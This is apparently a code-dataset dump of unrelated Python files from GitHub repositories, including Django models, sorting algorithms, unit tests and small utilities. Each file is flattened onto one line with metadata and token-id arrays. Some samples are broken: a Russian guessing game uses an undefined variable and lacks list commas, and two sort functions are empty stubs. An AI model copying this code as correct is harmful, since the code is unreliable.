modeladminutils/models.py	kinaklub/next.filmfest.by	7	173682	from django.db import models from modeladminutils.queryset import SearchableQuerySet __all__ = ['SearchableManager'] class BaseSearchableManager(models.Manager): def get_queryset(self): return SearchableQuerySet(self.model) SearchableManager = BaseSearchableManager.from_queryset(SearchableQuerySet)	[ 1, 515, 9557, 29889, 2585, 1053, 4733, 13, 13, 3166, 1904, 6406, 13239, 29889, 1972, 842, 1053, 11856, 519, 3010, 2697, 13, 13, 13, 1649, 497, 1649, 353, 6024, 7974, 519, 3260, 2033, 13, 13, 13, 1990, 7399, 7974, 519, 3260, 29898, 9794, 29889, 3260, 1125, 13, 1678, 822, 679, 29918, 1972, 842, 29898, 1311, 1125, 13, 4706, 736, 11856, 519, 3010, 2697, 29898, 1311, 29889, 4299, 29897, 13, 13, 13, 7974, 519, 3260, 353, 7399, 7974, 519, 3260, 29889, 3166, 29918, 1972, 842, 29898, 7974, 519, 3010, 2697, 29897, 13, 2 ]
sort/sort.py	storyoftime66/AlgorithmSheet	0	74811	#!/usr/bin/env python3 # -- coding: utf-8 -- def insert_sort(inputlist): """ 直接插入排序，升序 :param inputlist: a list of number :return: the ascending list """ length = len(inputlist) for x in range(1, length): key = inputlist[x] # 要插入的数 i = x - 1 while i >= 0: if inputlist[i] > key: inputlist[i + 1]=inputlist[i] else: break i -= 1 inputlist[i + 1] = key return inputlist def bubble_sort(inputlist): """ 冒泡排序 :param inputlist: a list of number :return: the ascending list """ length = len(inputlist) for j in range(1, length): for i in range(length-j): if inputlist[i] > inputlist[i+1]: inputlist[i], inputlist[i+1] = inputlist[i+1], inputlist[i] return inputlist def select_sort(inputlist): """ 简单选择排序 :param inputlist: a list of number :return: the ascending list """ length = len(inputlist) for i in range(length): minimum = i for j in range(i, length): if inputlist[j] < inputlist[minimum]: minimum = j inputlist[i], inputlist[minimum] = inputlist[minimum], inputlist[i] return inputlist def shell_sort(inputlist): pass return inputlist def quick_sort(inputlist): pass return inputlist # 堆排序 def heap_sort(inputlist): def heap_rebuild(inputlist, index, length): """ 堆排序 :param inputlist: :param index: :param length: :return: """ lchild = index * 2 + 1 rchild = lchild + 1 if lchild < length: heap_rebuild(inputlist, lchild, length) if inputlist[lchild] > inputlist[index]: inputlist[index], inputlist[lchild] = inputlist[lchild], inputlist[index] if rchild < length: heap_rebuild(inputlist, rchild, length) if inputlist[rchild] > inputlist[index]: inputlist[index], inputlist[rchild] = inputlist[rchild], inputlist[index] length = len(inputlist) # 重建完之后最大的元素在下标为0的位置 heap_rebuild(inputlist, 0, length) while length > 0: # inputlist[length-1]为末尾元素 length -= 1 # 交换到表尾 inputlist[0], inputlist[length] = inputlist[length], inputlist[0] heap_rebuild(inputlist, 0, length) return inputlist L1 = [5, 9, 6] heap_sort(L1) print(L1)	[ 1, 18787, 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app_common/traitsui/tests/test_unit_scalar_editor.py	KBIbiopharma/app_common	2	195734	from unittest import TestCase, skipIf import os from traits.api import HasTraits, Instance from traitsui.api import Item, View try: from scimath.units.api import UnitScalar from scimath.units.dimensionless import dimensionless from app_common.traitsui.unit_scalar_editor import \ UnitScalarEditor, str_to_unit_scalar, unit_scalar_to_str scimath_available = True except ImportError: scimath_available = False if scimath_available: class SampleModel(HasTraits): x = Instance(UnitScalar) view = View( Item("x", editor=UnitScalarEditor()) ) skip = (os.environ.get("ETS_TOOLKIT", "qt4") == "null" or scimath_available is False) if not skip: from pyface.ui.qt4.util.gui_test_assistant import GuiTestAssistant @skipIf(skip, "No scimath available or no UI backend to paint UIs into.") class TestUniScalarEditor(TestCase, GuiTestAssistant): def setUp(self): GuiTestAssistant.setUp(self) self.model = SampleModel() self.ui = None def tearDown(self): GuiTestAssistant.tearDown(self) if self.ui is not None: self.ui.dispose() def test_editor_with_value(self): val = UnitScalar(2, units="cm") self.model.x = val self.ui = self.model.edit_traits() self.assertEqual(self.model.x, val) def test_editor_without_value(self): self.ui = self.model.edit_traits() self.assertIsNone(self.model.x) def test_editor_with_complex_unit(self): val = UnitScalar(2, units="cm / s") self.model.x = val self.ui = self.model.edit_traits() self.assertEqual(self.model.x, val) def test_displayed_text(self): self.model.x = UnitScalar(2, units=dimensionless) with self.event_loop(): self.ui = self.model.edit_traits() text = get_text_editor_for_attr(self.ui, "x") self.assertEqual(text, '2') def test_change_text(self): # The event loop is needed for the change in the UI editor to # modify the model. with self.event_loop(): self.ui = self.model.edit_traits() set_text_editor_for_attr(self.ui, "x", "2 km") self.assertEqual(self.model.x, UnitScalar(2, units="km")) def test_units_label_with_int(self): self.model.x = UnitScalar(2, units="g") with self.event_loop(): self.ui = self.model.edit_traits() text = get_text_editor_for_attr(self.ui, "x") self.assertEqual(text, '2 g') def test_units_label_with_float(self): self.model.x = UnitScalar(2.1, units="g") with self.event_loop(): self.ui = self.model.edit_traits() text = get_text_editor_for_attr(self.ui, "x") self.assertEqual(text, '2.1 g') @skipIf(skip, "No scimath available or no UI backend to paint UIs into.") class TestConversionFunctions(TestCase): def test_str2val_with_int(self): text = "2 cm" self.assertEqual(str_to_unit_scalar(text), UnitScalar(2, units="cm")) def test_str2val_with_float_period(self): text = "2. cm" self.assertEqual(str_to_unit_scalar(text), UnitScalar(2., units="cm")) def test_str2val_with_float(self): text = "2.0 cm" self.assertEqual(str_to_unit_scalar(text), UnitScalar(2.0, units="cm")) def test_str2val_with_float_high_precision(self): text = "2.012345678901 cm" self.assertAlmostEqual(str_to_unit_scalar(text), UnitScalar(2.012345678901, units="cm")) def test_basic_val2str(self): val = UnitScalar(2, units="cm") self.assertEqual(unit_scalar_to_str(val), "2 cm") def test_cplx_str2val(self): text = "2.1 cm / s" self.assertEqual(str_to_unit_scalar(text), UnitScalar(2.1, units="cm/s")) def test_cplx_val2str(self): val = UnitScalar(2.1, units="cm/s") self.assertEqual(unit_scalar_to_str(val), "2.1 cm/s") def test_empty_str2val(self): text = " " self.assertEqual(str_to_unit_scalar(text), UnitScalar(0, units='1')) def test_empty_val2str(self): self.assertEqual(unit_scalar_to_str(None), "") def test_dimless_val2str(self): ph_val = UnitScalar(3, units="1") self.assertEqual(unit_scalar_to_str(ph_val), "3") ph_val2 = UnitScalar(3, units=dimensionless) self.assertEqual(unit_scalar_to_str(ph_val2), "3") def get_text_editor_for_attr(traits_ui, attr): """ Grab the Qt QLineEdit for attr off the UI and return its text. """ widget = get_widget_for_attr(traits_ui, attr) return widget.text() def set_text_editor_for_attr(traits_ui, attr, val): """ Grab the Qt QLineEdit for attr off the UI and set its text to val. This needs to trigger the right event (Qt signal) so that TraitsUI gets notified. """ widget = get_widget_for_attr(traits_ui, attr) widget.setText(val) # Emit the signal that TraitsUI is listening to: widget.editingFinished.emit() def get_widget_for_attr(traits_ui, attr_name): """ Return the Qt widget in the UI which displays the attribute specified. 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concon.py	nejucomo/concon	0	31891	<reponame>nejucomo/concon<filename>concon.py<gh_stars>0 """ concon (CONstrained CONtainers) provides usefully constrained container subtypes as well as utilities for defining new constrained subtypes and append-only dict modification. There are two flavors of constraints: frozen and appendonly. The former prevents any modification and the latter prevents any modification of an existing entry. These two flavors of constraint are applied to the set, list, and dict types. (Note: frozenset is already a builtin, but is also provided in this module scope for consistency.) """ import unittest from collections import Mapping # I. General Constraint abstractions class ConstraintError (TypeError): """ ConstraintError is the base Exception type for any violation of some constraint. """ Template = 'Attempt to call {!r}.{} {!r} {!r} violates constraint.' def __str__(self): return self.Template.format(self.args) @classmethod def block(cls, method): """ This decorator raises a ConstraintError (or subclass) on any call to the given method. """ def blocked_method(self, a, *kw): raise cls(self, method.__name__, a, kw) return blocked_method def define_constrained_subtype(prefix, base, blockednames, clsdict=None): """ Define a subtype which blocks a list of methods. @param prefix: The subtype name prefix. This is prepended to the base type name. This convention is baked in for API consistency. @param base: The base type to derive from. @param blockednames: A list of method name strings. All of these will be blocked. @param clsdict: None or a dict which will be modified to become the subtype class dict. @return: The new subtype. @raise: OverwriteError - If clsdict contains an entry in blockednames. """ name = prefix + base.__name__ clsdict = clsdict or {} doc = clsdict.get('__doc__', '') doc = 'An {} extension of {}.\n{}'.format(prefix, base.__name__, doc) clsdict['__doc__'] = doc setitem_without_overwrite( clsdict, 'get_blocked_method_names', lambda self: iter(blockednames), ) for bname in blockednames: setitem_without_overwrite( clsdict, bname, ConstraintError.block(getattr(base, bname)), ) return type(name, (base,), clsdict) # II. Overwrite utilities class OverwriteError (ConstraintError, KeyError): """ OverwriteError is raised when an attempt to overwrite a value in an append-only structure occurs. """ Template = ('Attempted overwrite of key {!r} with ' 'new value {!r} overwriting old value {!r}') def __init__(self, key, newvalue, oldvalue): KeyError.__init__(self, key, newvalue, oldvalue) def setitem_without_overwrite(d, key, value): """ @param d: An instance of dict, that is: isinstance(d, dict) @param key: a key @param value: a value to associate with the key @return: None @raise: OverwriteError if the key is already present in d. """ if key in d: raise OverwriteError(key, value, d[key]) else: dict.__setitem__(d, key, value) def update_without_overwrite(d, args, *kwds): """ This has the same interface as dict.update except it uses setitem_without_overwrite for all updates. Note: The implementation is derived from collections.MutableMapping.update. """ if args: assert len(args) == 1, \ 'At most one positional parameter is allowed: {0!r}'.format(args) (other,) = args if isinstance(other, Mapping): for key in other: setitem_without_overwrite(d, key, other[key]) elif hasattr(other, "keys"): for key in other.keys(): setitem_without_overwrite(d, key, other[key]) else: for key, value in other: setitem_without_overwrite(d, key, value) for key, value in kwds.items(): setitem_without_overwrite(d, key, value) # III. Concrete Constrained Containers frozenset = frozenset # Promote this builtin to module scope for consistency. frozenlist = define_constrained_subtype( 'frozen', list, ['__delitem__', '__delslice__', '__iadd__', '__imul__', '__setitem__', '__setslice__', 'append', 'extend', 'insert', 'pop', 'remove', 'reverse', 'sort']) frozendict = define_constrained_subtype( 'frozen', dict, ['__delitem__', '__setitem__', 'clear', 'pop', 'popitem', 'setdefault', 'update']) appendonlyset = define_constrained_subtype( 'appendonly', set, ['__iand__', '__isub__', '__ixor__', 'clear', 'difference_update', 'discard', 'intersection_update', 'pop', 'remove', 'symmetric_difference_update']) appendonlylist = define_constrained_subtype( 'appendonly', list, ['__setitem__', '__delitem__', 'insert', 'reverse', 'pop', 'remove']) appendonlydict = define_constrained_subtype( 'appendonly', dict, ['__delitem__', 'pop', 'popitem', 'clear'], {'__setitem__': setitem_without_overwrite, 'update': update_without_overwrite}) # IV. Unittests class SetItemWithoutOverwriteTests (unittest.TestCase): def test_setitem_without_overwrite__no_overwrite(self): d = {'a': 'apple'} setitem_without_overwrite(d, 'b', 'banana') self.assertEqual(d, {'a': 'apple', 'b': 'banana'}) def test_setitem_without_overwrite__with_overwrite(self): d = {'a': 'apple'} self.assertRaises( OverwriteError, setitem_without_overwrite, d, 'a', 'applause', ) def test_update_without_overwrite__no_overwrite(self): d = {'a': 'apple'} update_without_overwrite(d, {'b': 'banana'}) self.assertEqual(d, {'a': 'apple', 'b': 'banana'}) def test_update_without_overwrite__with_overwrite(self): d = {'a': 'apple'} self.assertRaises( OverwriteError, update_without_overwrite, d, {'a': 'applause'}, ) def test_update_without_overwrite__with_NonMappingWithKeysAndGetItem(self): class NonMappingWithKeysAndGetItem (object): def keys(self): return ['a', 'b', 'c'] def __getitem__(self, key): return 42 d = {} update_without_overwrite(d, NonMappingWithKeysAndGetItem()) self.assertEqual(d, {'a': 42, 'b': 42, 'c': 42}) def test_update_without_overwrite__with_keyvalue_sequence(self): d = {} update_without_overwrite(d, [('a', 0), ('b', 1), ('c', 2)]) self.assertEqual(d, {'a': 0, 'b': 1, 'c': 2}) def test_update_without_overwrite__with_keywords(self): d = {} update_without_overwrite(d, a=0, b=1, c=2) self.assertEqual(d, {'a': 0, 'b': 1, 'c': 2}) class BlockedMethodsTests (unittest.TestCase): def test_frozendict(self): self._check_blocked_methods(frozendict({})) def test_frozenlist(self): self._check_blocked_methods(frozenlist({})) # Note, we do not test frozenset. def test_appendonlydict(self): self._check_blocked_methods(appendonlydict({})) def test_appendonlylist(self): self._check_blocked_methods(appendonlylist({})) def test_appendonlyset(self): self._check_blocked_methods(appendonlyset({})) def _check_blocked_methods(self, obj): for name in obj.get_blocked_method_names(): method = getattr(obj, name) self.assertRaises(ConstraintError, method, 42) class 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src/verify.py	RaISy-Net/Intelligent_picking	1	48510	<gh_stars>1-10 import glob import os import matplotlib.pyplot as plt from src.utils.dataset_processing import grasp, image from src.utils.data.grasp_data import GraspDatasetBase def save_img(rgb_img,gtbbs,name): fig = plt.figure(figsize=(10, 10)) plt.ion() plt.clf() ax = plt.subplot(111) ax.imshow(rgb_img) g=gtbbs[0] #g=g.as_grasp g.plot_debug(ax) ax.set_title('Grasp') ax.axis('off') fig.savefig(name) if __name__=='__main__': dir='/home/ayush/Desktop/dataset/' x=125 depth_img = image.DepthImage.from_tiff(dir+'depth'+str(x)+'.png') gtbbs = grasp.GraspRectangles.load_from_cornell_file(dir+'color'+str(x)+'cpos.txt') rgb_img = image.Image.from_file(dir+'color'+str(x)+'.png') save_img(rgb_img,gtbbs,'grasp1.png')	[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 5215, 13149, 13, 5215, 2897, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 13, 13, 3166, 4765, 29889, 13239, 29889, 24713, 29918, 19170, 1053, 25274, 29892, 1967, 13, 3166, 4765, 29889, 13239, 29889, 1272, 29889, 629, 4692, 29918, 1272, 1053, 1632, 4692, 16390, 24541, 5160, 13, 13, 13, 1753, 4078, 29918, 2492, 29898, 23973, 29918, 2492, 29892, 4141, 1327, 29879, 29892, 978, 1125, 13, 12, 1003, 353, 14770, 29889, 4532, 29898, 1003, 2311, 7607, 29896, 29900, 29892, 29871, 29896, 29900, 876, 13, 12, 572, 29873, 29889, 291, 580, 13, 12, 572, 29873, 29889, 695, 29888, 580, 13, 12, 1165, 353, 14770, 29889, 1491, 5317, 29898, 29896, 29896, 29896, 29897, 13, 12, 1165, 29889, 326, 4294, 29898, 23973, 29918, 2492, 29897, 13, 12, 29887, 29922, 4141, 1327, 29879, 29961, 29900, 29962, 13, 12, 29937, 29887, 29922, 29887, 29889, 294, 29918, 629, 4692, 13, 12, 29887, 29889, 5317, 29918, 8382, 29898, 1165, 29897, 13, 12, 1165, 29889, 842, 29918, 3257, 877, 3338, 4692, 1495, 13, 12, 1165, 29889, 8990, 877, 2696, 1495, 13, 12, 1003, 29889, 7620, 1003, 29898, 978, 29897, 13, 13, 361, 4770, 978, 1649, 1360, 29915, 1649, 3396, 1649, 2396, 12, 13, 12, 3972, 2433, 29914, 5184, 29914, 388, 1878, 29914, 17600, 29914, 24713, 22208, 13, 12, 29916, 29922, 29896, 29906, 29945, 13, 12, 19488, 29918, 2492, 353, 1967, 29889, 8498, 386, 2940, 29889, 3166, 29918, 29873, 2593, 29898, 3972, 23097, 19488, 18717, 710, 29898, 29916, 7240, 4286, 2732, 1495, 13, 12, 4141, 1327, 29879, 353, 25274, 29889, 3338, 4692, 7364, 19536, 29889, 1359, 29918, 3166, 29918, 29883, 1398, 514, 29918, 1445, 29898, 3972, 23097, 2780, 18717, 710, 29898, 29916, 7240, 29915, 29883, 1066, 29889, 3945, 1495, 13, 12, 23973, 29918, 2492, 353, 1967, 29889, 2940, 29889, 3166, 29918, 1445, 29898, 3972, 23097, 2780, 18717, 710, 29898, 29916, 7240, 4286, 2732, 1495, 13, 12, 7620, 29918, 2492, 29898, 23973, 29918, 2492, 29892, 4141, 1327, 29879, 5501, 629, 4692, 29896, 29889, 2732, 1495, 2 ]
filter/mot.py	oza6ut0ne/CVStreamer	0	21748	<filename>filter/mot.py import time import cv2 import numpy as np class Filter(object): '''detects motions with cv2.BackgroundSubtractorMOG2''' def __init__(self, params): self.params = params try: varThreshold = float(params[0]) if varThreshold <= 0: varThreshold = 16 except (KeyError, ValueError, IndexError): varThreshold = 16 try: self.learningRate = float(params[1]) except (KeyError, ValueError, IndexError): self.learningRate = 0.01 self.subtor = cv2.createBackgroundSubtractorMOG2(detectShadows=False, varThreshold=varThreshold) def apply(self, img): mask = self.subtor.apply(img, learningRate=self.learningRate) if (int(time.time() * 1000) % 400) < 200: img[:, :, 2] \|= mask return img	[ 1, 529, 9507, 29958, 4572, 29914, 14817, 29889, 2272, 13, 5215, 931, 13, 13, 5215, 13850, 29906, 13, 5215, 12655, 408, 7442, 13, 13, 1990, 19916, 29898, 3318, 1125, 13, 1678, 14550, 4801, 522, 29879, 3184, 1080, 411, 13850, 29906, 29889, 10581, 4035, 29873, 28891, 6720, 29954, 29906, 12008, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 8636, 1125, 13, 4706, 1583, 29889, 7529, 353, 8636, 13, 4706, 1018, 29901, 13, 9651, 722, 1349, 12268, 353, 5785, 29898, 7529, 29961, 29900, 2314, 13, 9651, 565, 722, 1349, 12268, 5277, 29871, 29900, 29901, 13, 18884, 722, 1349, 12268, 353, 29871, 29896, 29953, 13, 4706, 5174, 313, 2558, 2392, 29892, 7865, 2392, 29892, 11374, 2392, 1125, 13, 18884, 722, 1349, 12268, 353, 29871, 29896, 29953, 13, 4706, 1018, 29901, 13, 9651, 1583, 29889, 21891, 19907, 353, 5785, 29898, 7529, 29961, 29896, 2314, 13, 4706, 5174, 313, 2558, 2392, 29892, 7865, 2392, 29892, 11374, 2392, 1125, 13, 9651, 1583, 29889, 21891, 19907, 353, 29871, 29900, 29889, 29900, 29896, 13, 13, 4706, 1583, 29889, 1491, 7345, 353, 13850, 29906, 29889, 3258, 10581, 4035, 29873, 28891, 6720, 29954, 29906, 29898, 4801, 522, 2713, 23626, 29922, 8824, 29892, 722, 1349, 12268, 29922, 1707, 1349, 12268, 29897, 13, 13, 1678, 822, 3394, 29898, 1311, 29892, 10153, 1125, 13, 4706, 11105, 353, 1583, 29889, 1491, 7345, 29889, 7302, 29898, 2492, 29892, 6509, 19907, 29922, 1311, 29889, 21891, 19907, 29897, 13, 4706, 565, 313, 524, 29898, 2230, 29889, 2230, 580, 334, 29871, 29896, 29900, 29900, 29900, 29897, 1273, 29871, 29946, 29900, 29900, 29897, 529, 29871, 29906, 29900, 29900, 29901, 13, 9651, 10153, 7503, 29892, 584, 29892, 29871, 29906, 29962, 891, 29922, 11105, 13, 13, 4706, 736, 10153, 13, 2 ]
enumb/__init__.py	tombulled/enumb	0	97833	from .bases import * from .enums import * from .generators import * from .meta import * from .models import * from .types import *	[ 1, 515, 869, 29890, 2129, 418, 1053, 334, 13, 3166, 869, 264, 6762, 418, 1053, 334, 13, 3166, 869, 4738, 4097, 1053, 334, 13, 3166, 869, 7299, 539, 1053, 334, 13, 3166, 869, 9794, 268, 1053, 334, 13, 3166, 869, 8768, 418, 1053, 334, 13, 2 ]
IVTa/2014/BRONNIKOV_I_S/task_6_50.py	YukkaSarasti/pythonintask	0	1608079	<gh_stars>0 # Задача 6. Вариант 50 # Создайте игру, в которой компьютер загадывает нназвание одной из пятнадцати республик, # входящих в состав СССР, а игрок должен его угадать. # <NAME>. # 25.05.2016 import random USSR = ["РСФСР", "Украинская ССР", "Белорусская ССР" "Узбекская ССР" "Казахская ССР" "Грузинская ССР" "Азербайджанская ССР" "Литовская ССР" "Молдавская ССР" "Латвийская ССР" "Киргизская ССР" "Таджикская ССР" "Армянская ССР" "Туркменская ССР" "Эстонская ССР"] number = random.randint(0, 14) Republics = USSR[number].lower() inputRepublics = input("Угадайте одну из 15 республик СССР: ") if (inputRepublics.lower() == day): out = "\nВы угадали." else: out = "\nВы проиграли. Правильный день - " + day + "." out += " Нажмите Enter для выхода." input(out)	[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 29937, 3982, 840, 1282, 29871, 29953, 29889, 6581, 641, 745, 29932, 29871, 29945, 29900, 30004, 13, 29937, 5579, 8728, 29977, 730, 10689, 1086, 29892, 490, 20935, 16042, 9860, 5460, 1077, 1779, 4184, 20120, 6968, 477, 7617, 1755, 25816, 1866, 469, 10691, 13385, 3432, 811, 1909, 29935, 10862, 29951, 11167, 13, 29937, 490, 14375, 22319, 490, 7923, 12383, 29892, 1097, 10689, 16635, 11213, 4054, 5686, 863, 1779, 840, 1413, 22993, 13, 30004, 13, 29937, 529, 5813, 15513, 30004, 13, 29937, 29871, 29906, 29945, 29889, 29900, 29945, 29889, 29906, 29900, 29896, 29953, 30004, 13, 30004, 13, 5215, 4036, 30004, 13, 29965, 1799, 29934, 353, 6796, 30027, 30008, 30061, 7350, 613, 376, 30053, 3360, 8197, 4484, 857, 7350, 613, 376, 30031, 29919, 843, 16007, 4484, 857, 7350, 29908, 376, 30053, 29972, 29975, 3506, 4484, 857, 7350, 29908, 376, 17831, 23017, 4484, 857, 7350, 29908, 376, 30040, 1086, 22745, 4484, 857, 7350, 29908, 376, 30018, 13690, 25102, 11622, 745, 4484, 857, 7350, 29908, 376, 30050, 29917, 4820, 4484, 857, 7350, 29908, 376, 30017, 29904, 29944, 18244, 4484, 857, 7350, 29908, 376, 30050, 12174, 1221, 29977, 4484, 857, 7350, 29908, 376, 30014, 29917, 29927, 1892, 29972, 4484, 857, 7350, 29908, 376, 30041, 29910, 22858, 29951, 4484, 857, 7350, 29908, 376, 10304, 5010, 29921, 4484, 857, 7350, 29908, 376, 30041, 5179, 29951, 2387, 4484, 857, 7350, 29908, 376, 30082, 1578, 29921, 4484, 857, 7350, 3108, 30004, 13, 4537, 353, 4036, 29889, 9502, 524, 29898, 29900, 29892, 29871, 29896, 29946, 8443, 13, 5612, 803, 29879, 353, 17676, 29934, 29961, 4537, 1822, 13609, 26471, 13, 30004, 13, 2080, 5612, 803, 29879, 353, 1881, 703, 30053, 1779, 840, 29977, 730, 3288, 1864, 1866, 29871, 29896, 29945, 1909, 29935, 10862, 29951, 12383, 29901, 376, 8443, 13, 361, 313, 2080, 5612, 803, 29879, 29889, 13609, 580, 1275, 2462, 1125, 30004, 13, 12, 449, 353, 6634, 29876, 30012, 29982, 863, 1779, 840, 644, 1213, 30004, 13, 2870, 29901, 30004, 13, 12, 449, 353, 6634, 29876, 30012, 29982, 1471, 25087, 644, 29889, 17913, 1221, 24178, 22763, 448, 376, 718, 2462, 718, 376, 1213, 30004, 13, 449, 4619, 376, 2372, 29998, 989, 730, 9041, 3807, 2771, 26352, 1213, 30004, 13, 2080, 29898, 449, 8443, 13, 2 ]
app/grammar.py	bda-19fs/bda-chatbot	1	191596	<reponame>bda-19fs/bda-chatbot #!/usr/bin/env python3 import click import time as watch from bda_core.use_cases.log.log_info import log_info from bda_core.use_cases.nlp.correct_grammar import correct_grammar_stream @click.command() @click.option( '-g', '--grammar', type=click.STRING, default='res/custom_ch_grammar.txt', help='use grammar file to correct words (default is "res/custom_ch_grammar.txt")' ) def grammar(grammar): start = watch.time() doc = click.get_text_stream('stdin', 'utf-8').readlines() log_info(f'correcting with grammar: {grammar}') for i, line in enumerate(correct_grammar_stream(doc, grammar)): click.get_text_stream('stdout', 'utf-8').write(f'{line}') log_info(f'corrected {i+1} lines') log_info(f'correction completed in {watch.time() - start}s\n') if __name__ == '__main__': grammar()	[ 1, 529, 276, 1112, 420, 29958, 29890, 1388, 29899, 29896, 29929, 5847, 29914, 29890, 1388, 29899, 13496, 7451, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 29941, 13, 5215, 2828, 13, 5215, 931, 408, 6505, 13, 3166, 289, 1388, 29918, 3221, 29889, 1509, 29918, 11436, 29889, 1188, 29889, 1188, 29918, 3888, 1053, 1480, 29918, 3888, 13, 3166, 289, 1388, 29918, 3221, 29889, 1509, 29918, 11436, 29889, 12938, 29886, 29889, 15728, 29918, 1393, 3034, 1053, 1959, 29918, 1393, 3034, 29918, 5461, 13, 13, 13, 29992, 3808, 29889, 6519, 580, 13, 29992, 3808, 29889, 3385, 29898, 13, 1678, 17411, 29887, 742, 525, 489, 1393, 3034, 742, 1134, 29922, 3808, 29889, 20785, 29892, 2322, 2433, 690, 29914, 6341, 29918, 305, 29918, 1393, 3034, 29889, 3945, 742, 13, 1678, 1371, 2433, 1509, 25437, 934, 304, 1959, 3838, 313, 4381, 338, 376, 690, 29914, 6341, 29918, 305, 29918, 1393, 3034, 29889, 3945, 1159, 29915, 13, 29897, 13, 1753, 25437, 29898, 1393, 3034, 1125, 13, 1678, 1369, 353, 6505, 29889, 2230, 580, 13, 1678, 1574, 353, 2828, 29889, 657, 29918, 726, 29918, 5461, 877, 4172, 262, 742, 525, 9420, 29899, 29947, 2824, 949, 9012, 580, 13, 13, 1678, 1480, 29918, 3888, 29898, 29888, 29915, 15728, 292, 411, 25437, 29901, 426, 1393, 3034, 29913, 1495, 13, 13, 1678, 363, 474, 29892, 1196, 297, 26985, 29898, 15728, 29918, 1393, 3034, 29918, 5461, 29898, 1514, 29892, 25437, 22164, 13, 4706, 2828, 29889, 657, 29918, 726, 29918, 5461, 877, 25393, 742, 525, 9420, 29899, 29947, 2824, 3539, 29898, 29888, 29915, 29912, 1220, 29913, 1495, 13, 13, 1678, 1480, 29918, 3888, 29898, 29888, 29915, 15728, 287, 426, 29875, 29974, 29896, 29913, 3454, 1495, 13, 1678, 1480, 29918, 3888, 29898, 29888, 29915, 2616, 276, 428, 8676, 297, 426, 12344, 29889, 2230, 580, 448, 1369, 29913, 29879, 29905, 29876, 1495, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 25437, 580, 13, 2 ]
src/robotide/lib/robot/writer/rowsplitter.py	veryl-technologies/t24-tests-ide	8	145319	<gh_stars>1-10 # Copyright 2008-2012 Nokia Siemens Networks Oyj # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import itertools class RowSplitter(object): _comment_mark = '#' _empty_cell_escape = '${EMPTY}' _line_continuation = '...' _setting_table = 'setting' _tc_table = 'test case' _kw_table = 'keyword' def __init__(self, cols=8, split_multiline_doc=True): self._cols = cols self._split_multiline_doc = split_multiline_doc def split(self, row, table_type): if not row: return self._split_empty_row() indent = self._get_indent(row, table_type) if self._split_multiline_doc and self._is_doc_row(row, table_type): return self._split_doc_row(row, indent) return self._split_row(row, indent) def _split_empty_row(self): yield [] def _get_indent(self, row, table_type): indent = len(list(itertools.takewhile(lambda x: x == '', row))) min_indent = 1 if table_type in [self._tc_table, self._kw_table] else 0 return max(indent, min_indent) def _is_doc_row(self, row, table_type): if table_type == self._setting_table: return len(row) > 1 and row[0] == 'Documentation' if table_type in [self._tc_table, self._kw_table]: return len(row) > 2 and row[1] == '[Documentation]' return False def _split_doc_row(self, row, indent): first, rest = self._split_doc(row[indent+1]) yield row[:indent+1] + [first] + row[indent+2:] while rest: current, rest = self._split_doc(rest) current = [self._line_continuation, current] if current else [self._line_continuation] yield self._indent(current, indent) def _split_doc(self, doc): if '\\n' not in doc: return doc, '' if '\\n ' in doc: doc = doc.replace('\\n ', '\\n') return doc.split('\\n', 1) def _split_row(self, row, indent): while row: current, row = self._split(row) yield self._escape_last_empty_cell(current) if row and indent + 1 < self._cols: row = self._indent(row, indent) def _split(self, data): row, rest = data[:self._cols], data[self._cols:] self._in_comment = any(c.startswith(self._comment_mark) for c in row) rest = self._add_line_continuation(rest) return row, rest def _add_line_continuation(self, data): if data: if self._in_comment and not data[0].startswith(self._comment_mark): data[0] = self._comment_mark + data[0] data = [self._line_continuation] + data return data def _escape_last_empty_cell(self, row): if not row[-1].strip(): row[-1] = self._empty_cell_escape return row def _indent(self, row, indent): return [''] * indent + row	[ 1, 529, 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parlaskupine/models.py	VesterDe/parlalize	1	185906	# -- coding: utf-8 -- from django.db import models from django.utils.encoding import python_2_unicode_compatible from django.utils.translation import ugettext_lazy as _ from parlaposlanci.models import * from parlaseje.models import * from jsonfield import JSONField from behaviors.models import Timestampable # converting datetime to popolo class PopoloDateTimeField(models.DateTimeField): def get_popolo_value(self, value): return str(datetime.strftime(value, '%Y-%m-%d')) # Create your models here. @python_2_unicode_compatible class Organization(Timestampable, models.Model): """ A group with a common purpose or reason for existence that goes beyond the set of people belonging to it """ name = models.TextField(_('name'), help_text=_('A primary name, e.g. a legally recognized name')) id_parladata = models.IntegerField(_('parladata id'), blank=True, null=True, help_text=_('id parladata')) classification = models.TextField(_('Classification'), blank=True, null=True, help_text=_('Organization calssification.')) acronym = models.CharField(_('acronym'), blank = True, null = True, max_length = 128, help_text=_('Organization acronym')) is_coalition = models.BooleanField(_('coalition'), default=False) def __str__(self): return unicode(self.name) + " " + str(self.id_parladata) def getOrganizationData(self): return { 'id': self.id_parladata, 'name': self.name, 'acronym': self.acronym, 'is_coalition': self.is_coalition, } class PGStatic(Timestampable, models.Model): organization = models.ForeignKey('Organization', help_text=_('Organization foreign key relationship')) created_for = models.DateField(_('date of activity'), blank=True, null=True, help_text=_('date of analize')) headOfPG = models.ForeignKey('parlaposlanci.Person', null = True, related_name='PGStaticH', help_text=_('Head of MP')) viceOfPG = JSONField(blank=True, null=True) numberOfSeats = models.IntegerField(blank = True, null = True, help_text = _('Number of seats in parlament of PG')) allVoters = models.IntegerField(blank=True, null=True, help_text=_('Number of voters')) facebook = models.TextField(blank=True, null=True, default=None, help_text=_('Facebook profile URL')) twitter = models.TextField(blank=True, null=True, default=None, help_text=_('Twitter profile URL')) email = models.TextField(blank=True, null=True, default=None, help_text=_('email profile URL')) class PercentOFAttendedSession(Timestampable, models.Model): #Model for presence of PG on sessions organization = models.ForeignKey('Organization', blank=True, null=True, related_name='childrenPG', help_text=_('PG')) created_for = models.DateField(_('date of activity'), blank=True, null=True, help_text=_('date of analize')) 